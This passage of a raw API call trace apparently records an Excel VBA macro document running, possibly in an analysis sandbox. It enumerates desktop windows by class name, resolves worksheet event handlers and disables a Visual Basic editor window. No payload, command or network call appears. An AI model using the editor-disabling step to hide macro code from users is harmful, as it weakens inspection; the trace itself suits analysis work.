hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.714] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0096.714] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.714] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.714] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0096.714] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.714] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0096.714] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0096.714] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.714] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.714] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.714] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0096.714] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0096.715] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0096.715] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0096.715] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0096.715] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.715] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0096.715] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.715] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0096.715] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.715] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0096.715] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0096.715] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0096.715] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0096.715] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0096.715] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.715] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0096.715] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0096.715] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.715] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.715] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.715] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0096.715] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.715] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.716] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0096.716] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.716] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.716] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0096.716] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0096.716] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.716] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0096.716] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0096.716] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0096.716] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0096.716] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.716] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0096.716] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0096.716] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0096.716] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0096.716] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0096.716] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.716] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0096.716] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0096.716] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0096.716] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.716] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0096.716] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0096.716] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.716] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0096.716] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0096.716] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0096.716] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.716] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0096.717] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.717] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.717] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.717] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0096.717] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0096.717] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0096.717] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0096.717] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0096.717] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0096.717] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0096.717] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0096.717] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0096.717] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.717] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.717] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0096.717] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0096.717] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.717] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.717] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0096.717] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0096.717] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0096.717] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0096.717] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0096.717] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0096.717] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0096.717] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0096.717] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.717] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0096.717] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x5962150 [0096.717] IMalloc:Free (This=0x7fefe465380, pv=0x5962150) [0096.777] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x11, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0096.777] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x7, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0096.777] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0096.777] _mbscpy_s (in: _Dst=0x20ebc0, _DstSizeInBytes=0x1a, _Src=0x5d10546 | out: _Dst=0x20ebc0) returned 0x0 [0096.777] _mbscpy_s (in: _Dst=0x20ebca, _DstSizeInBytes=0x10, _Src=0x20ed70 | out: _Dst=0x20ebca) returned 0x0 [0096.777] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0096.791] _mbscpy_s (in: _Dst=0x20df00, _DstSizeInBytes=0x1c, _Src=0x5d10546 | out: _Dst=0x20df00) returned 0x0 [0096.791] _mbscpy_s (in: _Dst=0x20df0a, _DstSizeInBytes=0x12, _Src=0x20e0b0 | out: _Dst=0x20df0a) returned 0x0 [0096.792] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0096.794] strncpy_s (in: _Dst=0x6114550, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0096.794] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0096.794] bsearch (_Key=0x1e7f38, _Base=0x66e0fd0, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5cace28) returned 0x0 [0096.795] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0096.795] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0096.795] ITypeLib:GetTypeComp (in: This=0x679bb80, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679bb90) returned 0x0 [0096.795] IUnknown:AddRef (This=0x679bb90) returned 0x16 [0096.795] IUnknown:Release (This=0x679bb90) returned 0x15 [0096.795] ITypeLib:GetTypeComp (in: This=0x5a48620, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x5a48630) returned 0x0 [0096.796] IUnknown:AddRef (This=0x5a48630) returned 0x13 [0096.796] IUnknown:Release (This=0x5a48630) returned 0x12 [0096.796] ITypeLib:GetTypeComp (in: This=0x679c120, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c130) returned 0x0 [0096.796] IUnknown:AddRef (This=0x679c130) returned 0x9 [0096.796] IUnknown:Release (This=0x679c130) returned 0x8 [0096.796] ITypeLib:GetTypeComp (in: This=0x679c6c0, ppTComp=0x1e7fa0 | out: ppTComp=0x1e7fa0*=0x679c6d0) returned 0x0 [0096.796] IUnknown:AddRef (This=0x679c6d0) returned 0x7 [0096.796] IUnknown:Release (This=0x679c6d0) returned 0x6 [0096.796] GetCurrentThreadId () returned 0xa30 [0096.796] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0096.796] GetDesktopWindow () returned 0x10010 [0096.796] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0096.796] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0096.797] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0096.797] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0096.797] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0096.797] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0096.797] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0096.797] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0096.797] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0096.797] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0096.797] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0096.797] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0096.797] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.797] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0096.798] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0096.798] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0096.798] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.798] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0096.798] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.798] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.798] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.798] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0096.798] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0096.798] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0096.798] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.798] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0096.798] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0096.798] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0096.798] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.798] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0096.798] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.798] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.798] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0096.798] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0096.798] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0096.798] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0096.799] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0096.799] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.799] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0096.799] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.799] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0096.799] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.799] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0096.799] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.799] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0096.799] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.799] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0096.799] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0096.799] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.799] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0096.799] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0096.799] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.799] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0096.799] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0096.799] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0096.799] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0096.799] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.799] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.799] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.800] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0096.800] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0096.800] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0096.800] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0096.800] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0096.800] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0096.800] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0096.800] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0096.800] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.800] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.800] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0096.800] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0096.800] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0096.800] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0096.800] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.800] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0096.800] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0096.800] IsWindowEnabled (hWnd=0x302dc) returned 1 [0096.800] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0096.800] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0096.800] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0096.800] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0096.800] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0096.800] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0096.800] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0096.800] 